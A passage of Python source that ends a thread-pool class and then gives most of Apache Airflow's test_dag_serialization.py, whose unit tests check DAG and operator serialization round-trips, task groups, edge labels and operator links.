worker.daemon = True
worker.start()
self.worker_count += 1
self.busy_warning_limit = self.worker_count * 3
def remove_worker(self):
""" Removes a worker from the thread pool. Resets warning limit. """
with self._lock:
if not self.running:
raise RuntimeError("ThreadPool not running")
self._work_queue.put(PriorityQueueItem(0, self._quit_task))
self.worker_count -= 1
self.busy_warning_limit = self.worker_count * 3
def add_job(self, priority, job):
""" Add a job to the queue. """
with self._lock:
if not self.running:
raise RuntimeError("ThreadPool not running")
self._work_queue.put(PriorityQueueItem(priority, job))
# check if our queue is getting too big
if self._work_queue.qsize() > self.busy_warning_limit \
and self._busy_callback is not None:
# Increase limit we will issue next warning
self.busy_warning_limit *= 2
self._busy_callback(
self.worker_count, self.current_jobs,
self._work_queue.qsize())
def block_till_done(self):
""" Blocks till all work is done. """
self._work_queue.join()
def stop(self):
""" Stops all the threads. """
with self._lock:
if not self.running:
return
# Ensure all current jobs finish
self.block_till_done()
# Tell the workers to quit
for _ in range(self.worker_count):
self.remove_worker()
self.running = False
# Wait till all workers have quit
self.block_till_done()
def _worker(self):
""" Handles jobs for the thread pool. """
while True:
# Get new item from work_queue
job = self._work_queue.get().item
if job == self._quit_task:
self._work_queue.task_done()
return
# Add to current running jobs
job_log = (datetime.now(), job)
self.current_jobs.append(job_log)
# Do the job
self._job_handler(job)
# Remove from current running job
self.current_jobs.remove(job_log)
# Tell work_queue the task is done
self._work_queue.task_done()
class PriorityQueueItem(object):
""" Holds a priority and a value. Used within PriorityQueue. """
# pylint: disable=too-few-public-methods
def __init__(self, priority, item):
self.priority = priority
self.item = item
def __lt__(self, other):
return self.priority < other.priority
|
test_dag_serialization.py | #
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
"""Unit tests for stringified DAGs."""
import importlib
import importlib.util
import multiprocessing
import os
import unittest
from datetime import datetime, timedelta, timezone
from glob import glob
from unittest import mock
import pytest
from dateutil.relativedelta import FR, relativedelta
from kubernetes.client import models as k8s
from parameterized import parameterized
from airflow.hooks.base import BaseHook
from airflow.kubernetes.pod_generator import PodGenerator
from airflow.models import DAG, Connection, DagBag, TaskInstance
from airflow.models.baseoperator import BaseOperator, BaseOperatorLink
from airflow.operators.bash import BashOperator
from airflow.security import permissions
from airflow.serialization.json_schema import load_dag_schema_dict
from airflow.serialization.serialized_objects import SerializedBaseOperator, SerializedDAG
from tests.test_utils.mock_operators import CustomOperator, CustomOpLink, GoogleLink
executor_config_pod = k8s.V1Pod(
metadata=k8s.V1ObjectMeta(name="my-name"),
spec=k8s.V1PodSpec(
containers=[
k8s.V1Container(name="base", volume_mounts=[k8s.V1VolumeMount(name="my-vol", mount_path="/vol/")])
]
),
)
serialized_simple_dag_ground_truth = {
"__version": 1,
"dag": {
"default_args": {
"__type": "dict",
"__var": {
"depends_on_past": False,
"retries": 1,
"retry_delay": {"__type": "timedelta", "__var": 300.0},
"max_retry_delay": {"__type": "timedelta", "__var": 600.0},
"sla": {"__type": "timedelta", "__var": 100.0},
},
},
"start_date": 1564617600.0,
'_task_group': {
'_group_id': None,
'prefix_group_id': True,
'children': {'bash_task': ('operator', 'bash_task'), 'custom_task': ('operator', 'custom_task')},
'tooltip': '',
'ui_color': 'CornflowerBlue',
'ui_fgcolor': '#000',
'upstream_group_ids': [],
'downstream_group_ids': [],
'upstream_task_ids': [],
'downstream_task_ids': [],
},
"is_paused_upon_creation": False,
"_dag_id": "simple_dag",
"doc_md": "### DAG Tutorial Documentation",
"fileloc": None,
"tasks": [
{
"task_id": "bash_task",
"owner": "airflow",
"retries": 1,
"retry_delay": 300.0,
"max_retry_delay": 600.0,
"sla": 100.0,
"_downstream_task_ids": [],
"_inlets": [],
"_is_dummy": False,
"_outlets": [],
"ui_color": "#f0ede4",
"ui_fgcolor": "#000",
"template_fields": ['bash_command', 'env'],
"template_fields_renderers": {'bash_command': 'bash', 'env': 'json'},
"bash_command": "echo {{ task.task_id }}",
'label': 'bash_task',
"_task_type": "BashOperator",
"_task_module": "airflow.operators.bash",
"pool": "default_pool",
"executor_config": {
'__type': 'dict',
'__var': {
"pod_override": {
'__type': 'k8s.V1Pod',
'__var': PodGenerator.serialize_pod(executor_config_pod),
}
},
},
"doc_md": "### Task Tutorial Documentation",
},
{
"task_id": "custom_task",
"retries": 1,
"retry_delay": 300.0,
"max_retry_delay": 600.0,
"sla": 100.0,
"_downstream_task_ids": [],
"_inlets": [],
"_is_dummy": False,
"_outlets": [],
"_operator_extra_links": [{"tests.test_utils.mock_operators.CustomOpLink": {}}],
"ui_color": "#fff",
"ui_fgcolor": "#000",
"template_fields": ['bash_command'],
"template_fields_renderers": {},
"_task_type": "CustomOperator",
"_task_module": "tests.test_utils.mock_operators",
"pool": "default_pool",
'label': 'custom_task',
},
],
"timezone": "UTC",
"_access_control": {
"__type": "dict",
"__var": {
"test_role": {
"__type": "set",
"__var": [permissions.ACTION_CAN_READ, permissions.ACTION_CAN_EDIT],
}
},
},
"edge_info": {},
},
}
ROOT_FOLDER = os.path.realpath(
os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir, os.pardir)
)
def make_example_dags(module_path):
"""Loads DAGs from a module for test."""
dagbag = DagBag(module_path)
return dagbag.dags
def make_simple_dag():
"""Make very simple DAG to verify serialization result."""
with DAG(
dag_id='simple_dag',
default_args={
"retries": 1,
"retry_delay": timedelta(minutes=5),
"max_retry_delay": timedelta(minutes=10),
"depends_on_past": False,
"sla": timedelta(seconds=100),
},
start_date=datetime(2019, 8, 1),
is_paused_upon_creation=False,
access_control={"test_role": {permissions.ACTION_CAN_READ, permissions.ACTION_CAN_EDIT}},
doc_md="### DAG Tutorial Documentation",
) as dag:
CustomOperator(task_id='custom_task')
BashOperator(
task_id='bash_task',
bash_command='echo {{ task.task_id }}',
owner='airflow',
executor_config={"pod_override": executor_config_pod},
doc_md="### Task Tutorial Documentation",
)
return {'simple_dag': dag}
def make_user_defined_macro_filter_dag():
"""Make DAGs with user defined macros and filters using locally defined methods.
For Webserver, we do not include ``user_defined_macros`` & ``user_defined_filters``.
The examples here test:
(1) functions can be successfully displayed on UI;
(2) templates with function macros have been rendered before serialization.
"""
def compute_next_execution_date(dag, execution_date):
return dag.following_schedule(execution_date)
default_args = {'start_date': datetime(2019, 7, 10)}
dag = DAG(
'user_defined_macro_filter_dag',
default_args=default_args,
user_defined_macros={
'next_execution_date': compute_next_execution_date,
},
user_defined_filters={'hello': lambda name: f'Hello {name}'},
catchup=False,
)
BashOperator(
task_id='echo',
bash_command='echo "{{ next_execution_date(dag, execution_date) }}"',
dag=dag,
)
return {dag.dag_id: dag}
def collect_dags(dag_folder=None):
"""Collects DAGs to test."""
dags = {}
dags.update(make_simple_dag())
dags.update(make_user_defined_macro_filter_dag())
if dag_folder:
if isinstance(dag_folder, (list, tuple)):
patterns = dag_folder
else:
patterns = [dag_folder]
else:
patterns = [
"airflow/example_dags",
"airflow/providers/*/example_dags",
"airflow/providers/*/*/example_dags",
]
for pattern in patterns:
for directory in glob(f"{ROOT_FOLDER}/{pattern}"):
dags.update(make_example_dags(directory))
# Filter subdags as they are stored in same row in Serialized Dag table
dags = {dag_id: dag for dag_id, dag in dags.items() if not dag.is_subdag}
return dags
def serialize_subprocess(queue, dag_folder):
"""Validate pickle in a subprocess."""
dags = collect_dags(dag_folder)
for dag in dags.values():
queue.put(SerializedDAG.to_json(dag))
queue.put(None)
class TestStringifiedDAGs(unittest.TestCase):
"""Unit tests for stringified DAGs."""
def setUp(self):
super().setUp()
BaseHook.get_connection = mock.Mock(
return_value=Connection(
extra=(
'{'
'"project_id": "mock", '
'"location": "mock", '
'"instance": "mock", '
'"database_type": "postgres", '
'"use_proxy": "False", '
'"use_ssl": "False"'
'}'
)
)
)
self.maxDiff = None # pylint: disable=invalid-name
def test_serialization(self):
"""Serialization and deserialization should work for every DAG and Operator."""
dags = collect_dags()
serialized_dags = {}
for _, v in dags.items():
dag = SerializedDAG.to_dict(v)
SerializedDAG.validate_schema(dag)
serialized_dags[v.dag_id] = dag
# Compares with the ground truth of JSON string.
self.validate_serialized_dag(serialized_dags['simple_dag'], serialized_simple_dag_ground_truth)
def validate_serialized_dag(self, json_dag, ground_truth_dag):
"""Verify serialized DAGs match the ground truth."""
assert json_dag['dag']['fileloc'].split('/')[-1] == 'test_dag_serialization.py'
json_dag['dag']['fileloc'] = None
def sorted_serialized_dag(dag_dict: dict):
"""
Sorts the "tasks" list and "access_control" permissions in the
serialised dag python dictionary. This is needed as the order of
items should not matter but assertEqual would fail if the order of
items changes in the dag dictionary
"""
dag_dict["dag"]["tasks"] = sorted(dag_dict["dag"]["tasks"], key=lambda x: sorted(x.keys()))
dag_dict["dag"]["_access_control"]["__var"]["test_role"]["__var"] = sorted(
dag_dict["dag"]["_access_control"]["__var"]["test_role"]["__var"]
)
return dag_dict
assert sorted_serialized_dag(ground_truth_dag) == sorted_serialized_dag(json_dag)
def test_deserialization_across_process(self):
"""A serialized DAG can be deserialized in another process."""
# Since we need to parse the dags twice here (once in the subprocess,
# and once here to get a DAG to compare to) we don't want to load all
# dags.
queue = multiprocessing.Queue()
proc = multiprocessing.Process(target=serialize_subprocess, args=(queue, "airflow/example_dags"))
proc.daemon = True
proc.start()
stringified_dags = {}
while True:
v = queue.get()
if v is None:
break
dag = SerializedDAG.from_json(v)
assert isinstance(dag, DAG)
stringified_dags[dag.dag_id] = dag
dags = collect_dags("airflow/example_dags")
assert set(stringified_dags.keys()) == set(dags.keys())
# Verify deserialized DAGs.
for dag_id in stringified_dags:
self.validate_deserialized_dag(stringified_dags[dag_id], dags[dag_id])
def test_roundtrip_provider_example_dags(self):
dags = collect_dags(
[
"airflow/providers/*/example_dags",
"airflow/providers/*/*/example_dags",
]
)
# Verify deserialized DAGs.
for dag in dags.values():
serialized_dag = SerializedDAG.from_json(SerializedDAG.to_json(dag))
self.validate_deserialized_dag(serialized_dag, dag)
def validate_deserialized_dag(self, serialized_dag, dag):
"""
Verify that all example DAGs work with DAG Serialization by
checking fields between Serialized Dags & non-Serialized Dags
"""
fields_to_check = dag.get_serialized_fields() - {
# Doesn't implement __eq__ properly. Check manually
'timezone',
# Need to check fields in it, to exclude functions
'default_args',
"_task_group",
}
for field in fields_to_check:
dag_field = getattr(dag, field)
if isinstance(dag_field, list):
dag_field = sorted(dag_field)
assert getattr(serialized_dag, field) == dag_field, f'{dag.dag_id}.{field} does not match'
if dag.default_args:
for k, v in dag.default_args.items():
if callable(v):
# Check we stored _something_.
assert k in serialized_dag.default_args
else:
assert (
v == serialized_dag.default_args[k]
), f'{dag.dag_id}.default_args[{k}] does not match'
assert serialized_dag.timezone.name == dag.timezone.name
for task_id in dag.task_ids:
self.validate_deserialized_task(serialized_dag.get_task(task_id), dag.get_task(task_id))
# Verify that the DAG object has 'full_filepath' attribute
# and is equal to fileloc
assert serialized_dag.full_filepath == dag.fileloc
def validate_deserialized_task(
self,
serialized_task,
task,
):
"""Verify non-airflow operators are casted to BaseOperator."""
assert isinstance(serialized_task, SerializedBaseOperator)
assert not isinstance(task, SerializedBaseOperator)
assert isinstance(task, BaseOperator)
fields_to_check = task.get_serialized_fields() - {
# Checked separately
'_task_type',
'subdag',
# Type is excluded, so don't check it
'_log',
# List vs tuple. Check separately
'template_fields',
# We store the string, real dag has the actual code
'on_failure_callback',
'on_success_callback',
'on_retry_callback',
# Checked separately
'resources',
}
assert serialized_task.task_type == task.task_type
assert set(serialized_task.template_fields) == set(task.template_fields)
assert serialized_task.upstream_task_ids == task.upstream_task_ids
assert serialized_task.downstream_task_ids == task.downstream_task_ids
for field in fields_to_check:
assert getattr(serialized_task, field) == getattr(
task, field
), f'{task.dag.dag_id}.{task.task_id}.{field} does not match'
if serialized_task.resources is None:
assert task.resources is None or task.resources == []
else:
assert serialized_task.resources == task.resources
# Check that for Deserialised task, task.subdag is None for all other Operators
# except for the SubDagOperator where task.subdag is an instance of DAG object
if task.task_type == "SubDagOperator":
assert serialized_task.subdag is not None
assert isinstance(serialized_task.subdag, DAG)
else:
assert serialized_task.subdag is None
@parameterized.expand(
[
(datetime(2019, 8, 1, tzinfo=timezone.utc), None, datetime(2019, 8, 1, tzinfo=timezone.utc)),
(
datetime(2019, 8, 1, tzinfo=timezone.utc),
datetime(2019, 8, 2, tzinfo=timezone.utc),
datetime(2019, 8, 2, tzinfo=timezone.utc),
),
(
datetime(2019, 8, 1, tzinfo=timezone.utc),
datetime(2019, 7, 30, tzinfo=timezone.utc),
datetime(2019, 8, 1, tzinfo=timezone.utc),
),
]
)
def test_deserialization_start_date(self, dag_start_date, task_start_date, expected_task_start_date):
dag = DAG(dag_id='simple_dag', start_date=dag_start_date)
BaseOperator(task_id='simple_task', dag=dag, start_date=task_start_date)
serialized_dag = SerializedDAG.to_dict(dag)
if not task_start_date or dag_start_date >= task_start_date:
# If dag.start_date > task.start_date -> task.start_date=dag.start_date
# because of the logic in dag.add_task()
assert "start_date" not in serialized_dag["dag"]["tasks"][0]
else:
assert "start_date" in serialized_dag["dag"]["tasks"][0]
dag = SerializedDAG.from_dict(serialized_dag)
simple_task = dag.task_dict["simple_task"]
assert simple_task.start_date == expected_task_start_date
def test_deserialization_with_dag_context(self):
with DAG(dag_id='simple_dag', start_date=datetime(2019, 8, 1, tzinfo=timezone.utc)) as dag:
BaseOperator(task_id='simple_task')
# should not raise RuntimeError: dictionary changed size during iteration
SerializedDAG.to_dict(dag)
@parameterized.expand(
[
(datetime(2019, 8, 1, tzinfo=timezone.utc), None, datetime(2019, 8, 1, tzinfo=timezone.utc)),
(
datetime(2019, 8, 1, tzinfo=timezone.utc),
datetime(2019, 8, 2, tzinfo=timezone.utc),
datetime(2019, 8, 1, tzinfo=timezone.utc),
),
(
datetime(2019, 8, 1, tzinfo=timezone.utc),
datetime(2019, 7, 30, tzinfo=timezone.utc),
datetime(2019, 7, 30, tzinfo=timezone.utc),
),
]
)
def test_deserialization_end_date(self, dag_end_date, task_end_date, expected_task_end_date):
dag = DAG(dag_id='simple_dag', start_date=datetime(2019, 8, 1), end_date=dag_end_date)
BaseOperator(task_id='simple_task', dag=dag, end_date=task_end_date)
serialized_dag = SerializedDAG.to_dict(dag)
if not task_end_date or dag_end_date <= task_end_date:
# If dag.end_date < task.end_date -> task.end_date=dag.end_date
# because of the logic in dag.add_task()
assert "end_date" not in serialized_dag["dag"]["tasks"][0]
else:
assert "end_date" in serialized_dag["dag"]["tasks"][0]
dag = SerializedDAG.from_dict(serialized_dag)
simple_task = dag.task_dict["simple_task"]
assert simple_task.end_date == expected_task_end_date
@parameterized.expand(
[
(None, None, None),
("@weekly", "@weekly", "0 0 * * 0"),
("@once", "@once", None),
({"__type": "timedelta", "__var": 86400.0}, timedelta(days=1), timedelta(days=1)),
]
)
def test_deserialization_schedule_interval(
self, serialized_schedule_interval, expected_schedule_interval, expected_n_schedule_interval
):
serialized = {
"__version": 1,
"dag": {
"default_args": {"__type": "dict", "__var": {}},
"_dag_id": "simple_dag",
"fileloc": __file__,
"tasks": [],
"timezone": "UTC",
"schedule_interval": serialized_schedule_interval,
},
}
SerializedDAG.validate_schema(serialized)
dag = SerializedDAG.from_dict(serialized)
assert dag.schedule_interval == expected_schedule_interval
assert dag.normalized_schedule_interval == expected_n_schedule_interval
@parameterized.expand(
[
(relativedelta(days=-1), {"__type": "relativedelta", "__var": {"days": -1}}),
(relativedelta(month=1, days=-1), {"__type": "relativedelta", "__var": {"month": 1, "days": -1}}),
# Every friday
(relativedelta(weekday=FR), {"__type": "relativedelta", "__var": {"weekday": [4]}}),
# Every second friday
(relativedelta(weekday=FR(2)), {"__type": "relativedelta", "__var": {"weekday": [4, 2]}}),
]
)
def test_roundtrip_relativedelta(self, val, expected):
serialized = SerializedDAG._serialize(val)
assert serialized == expected
round_tripped = SerializedDAG._deserialize(serialized)
assert val == round_tripped
@parameterized.expand(
[
(None, {}),
({"param_1": "value_1"}, {"param_1": "value_1"}),
]
)
def test_dag_params_roundtrip(self, val, expected_val):
"""
Test that params work both on Serialized DAGs & Tasks
"""
dag = DAG(dag_id='simple_dag', params=val)
BaseOperator(task_id='simple_task', dag=dag, start_date=datetime(2019, 8, 1))
serialized_dag = SerializedDAG.to_dict(dag)
if val:
assert "params" in serialized_dag["dag"]
else:
assert "params" not in serialized_dag["dag"]
deserialized_dag = SerializedDAG.from_dict(serialized_dag)
deserialized_simple_task = deserialized_dag.task_dict["simple_task"]
assert expected_val == deserialized_dag.params
assert expected_val == deserialized_simple_task.params
@parameterized.expand(
[
(None, {}),
({"param_1": "value_1"}, {"param_1": "value_1"}),
]
)
def test_task_params_roundtrip(self, val, expected_val):
"""
Test that params work both on Serialized DAGs & Tasks
"""
dag = DAG(dag_id='simple_dag')
BaseOperator(task_id='simple_task', dag=dag, params=val, start_date=datetime(2019, 8, 1))
serialized_dag = SerializedDAG.to_dict(dag)
if val:
assert "params" in serialized_dag["dag"]["tasks"][0]
else:
assert "params" not in serialized_dag["dag"]["tasks"][0]
deserialized_dag = SerializedDAG.from_dict(serialized_dag)
deserialized_simple_task = deserialized_dag.task_dict["simple_task"]
assert expected_val == deserialized_simple_task.params
def test_extra_serialized_field_and_operator_links(self):
"""
Assert extra field exists & OperatorLinks defined in Plugins and inbuilt Operator Links.
This tests also depends on GoogleLink() registered as a plugin
in tests/plugins/test_plugin.py
The function tests that if extra operator links are registered in plugin
in ``operator_extra_links`` and the same is also defined in
the Operator in ``BaseOperator.operator_extra_links``, it has the correct
extra link.
"""
test_date = datetime(2019, 8, 1)
dag = DAG(dag_id='simple_dag', start_date=test_date)
CustomOperator(task_id='simple_task', dag=dag, bash_command="true")
serialized_dag = SerializedDAG.to_dict(dag)
assert "bash_command" in serialized_dag["dag"]["tasks"][0]
dag = SerializedDAG.from_dict(serialized_dag)
simple_task = dag.task_dict["simple_task"]
assert getattr(simple_task, "bash_command") == "true"
#########################################################
# Verify Operator Links work with Serialized Operator
#########################################################
# Check Serialized version of operator link only contains the inbuilt Op Link
assert serialized_dag["dag"]["tasks"][0]["_operator_extra_links"] == [
{'tests.test_utils.mock_operators.CustomOpLink': {}}
]
# Test all the extra_links are set
assert set(simple_task.extra_links) == {'Google Custom', 'airflow', 'github', 'google'}
ti = TaskInstance(task=simple_task, execution_date=test_date)
ti.xcom_push('search_query', "dummy_value_1")
# Test Deserialized inbuilt link
custom_inbuilt_link = simple_task.get_extra_links(test_date, CustomOpLink.name)
assert 'http://google.com/custom_base_link?search=dummy_value_1' == custom_inbuilt_link
# Test Deserialized link registered via Airflow Plugin
google_link_from_plugin = simple_task.get_extra_links(test_date, GoogleLink.name)
assert "https://www.google.com" == google_link_from_plugin
def test_extra_operator_links_logs_error_for_non_registered_extra_links(self):
"""
Assert OperatorLinks not registered via Plugins and if it is not an inbuilt Operator Link,
it can still deserialize the DAG (does not error) but just logs an error
"""
class TaskStateLink(BaseOperatorLink):
"""OperatorLink not registered via Plugins nor a built-in OperatorLink"""
name = 'My Link'
def get_link(self, operator, dttm):
return 'https://www.google.com'
class MyOperator(BaseOperator):
"""Just a DummyOperator using above defined Extra Operator Link"""
operator_extra_links = [TaskStateLink()]
def execute(self, context):
pass
with DAG(dag_id='simple_dag', start_date=datetime(2019, 8, 1)) as dag:
MyOperator(task_id='blah')
serialized_dag = SerializedDAG.to_dict(dag)
with self.assertLogs("airflow.serialization.serialized_objects", level="ERROR") as log_output:
SerializedDAG.from_dict(serialized_dag)
received_logs = log_output.output[0]
expected_err_msg = (
"Operator Link class 'tests.serialization.test_dag_serialization.TaskStateLink' "
"not registered"
)
assert expected_err_msg in received_logs
def test_extra_serialized_field_and_multiple_operator_links(self):
"""
Assert extra field exists & OperatorLinks defined in Plugins and inbuilt Operator Links.
This tests also depends on GoogleLink() registered as a plugin
in tests/plugins/test_plugin.py
The function tests that if extra operator links are registered in plugin
in ``operator_extra_links`` and the same is also defined in
the Operator in ``BaseOperator.operator_extra_links``, it has the correct
extra link.
"""
test_date = datetime(2019, 8, 1)
dag = DAG(dag_id='simple_dag', start_date=test_date)
CustomOperator(task_id='simple_task', dag=dag, bash_command=["echo", "true"])
serialized_dag = SerializedDAG.to_dict(dag)
assert "bash_command" in serialized_dag["dag"]["tasks"][0]
dag = SerializedDAG.from_dict(serialized_dag)
simple_task = dag.task_dict["simple_task"]
assert getattr(simple_task, "bash_command") == ["echo", "true"]
#########################################################
# Verify Operator Links work with Serialized Operator
#########################################################
# Check Serialized version of operator link only contains the inbuilt Op Link
assert serialized_dag["dag"]["tasks"][0]["_operator_extra_links"] == [
{'tests.test_utils.mock_operators.CustomBaseIndexOpLink': {'index': 0}},
{'tests.test_utils.mock_operators.CustomBaseIndexOpLink': {'index': 1}},
]
# Test all the extra_links are set
assert set(simple_task.extra_links) == {
'BigQuery Console #1',
'BigQuery Console #2',
'airflow',
'github',
'google',
}
ti = TaskInstance(task=simple_task, execution_date=test_date)
ti.xcom_push('search_query', ["dummy_value_1", "dummy_value_2"])
# Test Deserialized inbuilt link #1
custom_inbuilt_link = simple_task.get_extra_links(test_date, "BigQuery Console #1")
assert 'https://console.cloud.google.com/bigquery?j=dummy_value_1' == custom_inbuilt_link
# Test Deserialized inbuilt link #2
custom_inbuilt_link = simple_task.get_extra_links(test_date, "BigQuery Console #2")
assert 'https://console.cloud.google.com/bigquery?j=dummy_value_2' == custom_inbuilt_link
# Test Deserialized link registered via Airflow Plugin
google_link_from_plugin = simple_task.get_extra_links(test_date, GoogleLink.name)
assert "https://www.google.com" == google_link_from_plugin
class ClassWithCustomAttributes:
"""
Class for testing purpose: allows to create objects with custom attributes in one single statement.
"""
def __init__(self, **kwargs):
for key, value in kwargs.items():
setattr(self, key, value)
def __str__(self):
return f"{self.__class__.__name__}({str(self.__dict__)})"
def __repr__(self):
return self.__str__()
def __eq__(self, other):
return self.__dict__ == other.__dict__
def __ne__(self, other):
return not self.__eq__(other)
@parameterized.expand(
[
(None, None),
([], []),
({}, {}),
("{{ task.task_id }}", "{{ task.task_id }}"),
(["{{ task.task_id }}", "{{ task.task_id }}"]),
({"foo": "{{ task.task_id }}"}, {"foo": "{{ task.task_id }}"}),
({"foo": {"bar": "{{ task.task_id }}"}}, {"foo": {"bar": "{{ task.task_id }}"}}),
(
[{"foo1": {"bar": "{{ task.task_id }}"}}, {"foo2": {"bar": "{{ task.task_id }}"}}],
[{"foo1": {"bar": "{{ task.task_id }}"}}, {"foo2": {"bar": "{{ task.task_id }}"}}],
),
(
{"foo": {"bar": {"{{ task.task_id }}": ["sar"]}}},
{"foo": {"bar": {"{{ task.task_id }}": ["sar"]}}},
),
(
ClassWithCustomAttributes(
att1="{{ task.task_id }}", att2="{{ task.task_id }}", template_fields=["att1"]
),
"ClassWithCustomAttributes("
"{'att1': '{{ task.task_id }}', 'att2': '{{ task.task_id }}', 'template_fields': ['att1']})",
),
(
ClassWithCustomAttributes(
nested1=ClassWithCustomAttributes(
att1="{{ task.task_id }}", att2="{{ task.task_id }}", template_fields=["att1"]
),
nested2=ClassWithCustomAttributes(
att3="{{ task.task_id }}", att4="{{ task.task_id }}", template_fields=["att3"]
),
template_fields=["nested1"],
),
"ClassWithCustomAttributes("
"{'nested1': ClassWithCustomAttributes({'att1': '{{ task.task_id }}', "
"'att2': '{{ task.task_id }}', 'template_fields': ['att1']}), "
"'nested2': ClassWithCustomAttributes({'att3': '{{ task.task_id }}', 'att4': "
"'{{ task.task_id }}', 'template_fields': ['att3']}), 'template_fields': ['nested1']})",
),
]
)
def test_templated_fields_exist_in_serialized_dag(self, templated_field, expected_field):
"""
Test that templated_fields exists for all Operators in Serialized DAG
Since we don't want to inflate arbitrary python objects (it poses a RCE/security risk etc.)
we want check that non-"basic" objects are turned in to strings after deserializing.
"""
dag = DAG("test_serialized_template_fields", start_date=datetime(2019, 8, 1))
with dag:
BashOperator(task_id="test", bash_command=templated_field)
serialized_dag = SerializedDAG.to_dict(dag)
deserialized_dag = SerializedDAG.from_dict(serialized_dag)
deserialized_test_task = deserialized_dag.task_dict["test"]
assert expected_field == getattr(deserialized_test_task, "bash_command")
def test_dag_serialized_fields_with_schema(self):
"""
Additional Properties are disabled on DAGs. This test verifies that all the
keys in DAG.get_serialized_fields are listed in Schema definition.
"""
dag_schema: dict = load_dag_schema_dict()["definitions"]["dag"]["properties"]
# The parameters we add manually in Serialization needs to be ignored
ignored_keys: set = {"is_subdag", "tasks", "has_on_success_callback", "has_on_failure_callback"}
dag_params: set = set(dag_schema.keys()) - ignored_keys
assert set(DAG.get_serialized_fields()) == dag_params
def test_operator_subclass_changing_base_defaults(self):
assert (
BaseOperator(task_id='dummy').do_xcom_push is True
), "Precondition check! If this fails the test won't make sense"
class MyOperator(BaseOperator):
def __init__(self, do_xcom_push=False, **kwargs):
super().__init__(**kwargs)
self.do_xcom_push = do_xcom_push
op = MyOperator(task_id='dummy')
assert op.do_xcom_push is False
blob = SerializedBaseOperator.serialize_operator(op)
serialized_op = SerializedBaseOperator.deserialize_operator(blob)
assert serialized_op.do_xcom_push is False
def test_no_new_fields_added_to_base_operator(self):
"""
This test verifies that there are no new fields added to BaseOperator. And reminds that
tests should be added for it.
"""
base_operator = BaseOperator(task_id="10")
fields = base_operator.__dict__
assert {
'_BaseOperator__instantiated': True,
'_dag': None,
'_downstream_task_ids': set(),
'_inlets': [],
'_log': base_operator.log,
'_outlets': [],
'_upstream_task_ids': set(),
'depends_on_past': False,
'do_xcom_push': True,
'doc': None,
'doc_json': None,
'doc_md': None,
'doc_rst': None,
'doc_yaml': None,
'email': None,
'email_on_failure': True,
'email_on_retry': True,
'end_date': None,
'execution_timeout': None,
'executor_config': {},
'inlets': [],
'label': '10',
'max_retry_delay': None,
'on_execute_callback': None,
'on_failure_callback': None,
'on_retry_callback': None,
'on_success_callback': None,
'outlets': [],
'owner': 'airflow',
'params': {},
'pool': 'default_pool',
'pool_slots': 1,
'priority_weight': 1,
'queue': 'default',
'resources': None,
'retries': 0,
'retry_delay': timedelta(0, 300),
'retry_exponential_backoff': False,
'run_as_user': None,
'sla': None,
'start_date': None,
'subdag': None,
'task_concurrency': None,
'task_id': '10',
'trigger_rule': 'all_success',
'wait_for_downstream': False,
'weight_rule': 'downstream',
} == fields, """
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
ACTION NEEDED! PLEASE READ THIS CAREFULLY AND CORRECT TESTS CAREFULLY
Some fields were added to the BaseOperator! Please add them to the list above and make sure that
you add support for DAG serialization - you should add the field to
`airflow/serialization/schema.json` - they should have correct type defined there.
Note that we do not support versioning yet so you should only add optional fields to BaseOperator.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
"""
def test_task_group_serialization(self):
"""
Test TaskGroup serialization/deserialization.
"""
from airflow.operators.dummy import DummyOperator
from airflow.utils.task_group import TaskGroup
execution_date = datetime(2020, 1, 1)
with DAG("test_task_group_serialization", start_date=execution_date) as dag:
task1 = DummyOperator(task_id="task1")
with TaskGroup("group234") as group234:
_ = DummyOperator(task_id="task2")
with TaskGroup("group34") as group34:
_ = DummyOperator(task_id="task3")
_ = DummyOperator(task_id="task4")
task5 = DummyOperator(task_id="task5")
task1 >> group234
group34 >> task5
dag_dict = SerializedDAG.to_dict(dag)
SerializedDAG.validate_schema(dag_dict)
json_dag = SerializedDAG.from_json(SerializedDAG.to_json(dag))
self.validate_deserialized_dag(json_dag, dag)
serialized_dag = SerializedDAG.deserialize_dag(SerializedDAG.serialize_dag(dag))
assert serialized_dag.task_group.children
assert serialized_dag.task_group.children.keys() == dag.task_group.children.keys()
def check_task_group(node):
try:
children = node.children.values()
except AttributeError:
# Round-trip serialization and check the result
expected_serialized = SerializedBaseOperator.serialize_operator(dag.get_task(node.task_id))
expected_deserialized = SerializedBaseOperator.deserialize_operator(expected_serialized)
expected_dict = SerializedBaseOperator.serialize_operator(expected_deserialized)
assert node
assert SerializedBaseOperator.serialize_operator(node) == expected_dict
return
for child in children:
check_task_group(child)
check_task_group(serialized_dag.task_group)
def test_edge_info_serialization(self):
"""
Tests edge_info serialization/deserialization.
"""
from airflow.operators.dummy import DummyOperator
from airflow.utils.edgemodifier import Label
with DAG("test_edge_info_serialization", start_date=datetime(2020, 1, 1)) as dag:
task1 = DummyOperator(task_id="task1")
task2 = DummyOperator(task_id="task2")
task1 >> Label("test label") >> task2 # pylint: disable=W0106
dag_dict = SerializedDAG.to_dict(dag)
SerializedDAG.validate_schema(dag_dict)
json_dag = SerializedDAG.from_json(SerializedDAG.to_json(dag))
self.validate_deserialized_dag(json_dag, dag)
serialized_dag = SerializedDAG.deserialize_dag(SerializedDAG.serialize_dag(dag))
assert serialized_dag.edge_info == dag.edge_info
@parameterized.expand(
[
("poke", False),
("reschedule", True),
]
)
def test_serialize_sensor(self, mode, expect_custom_deps):
from airflow.sensors.base import BaseSensorOperator
class DummySensor(BaseSensorOperator):
def poke(self, context):
return False
op = DummySensor(task_id='dummy', mode=mode, poke_interval=23)
blob = SerializedBaseOperator.serialize_operator(op)
if expect_custom_deps:
assert "deps" in blob
else:
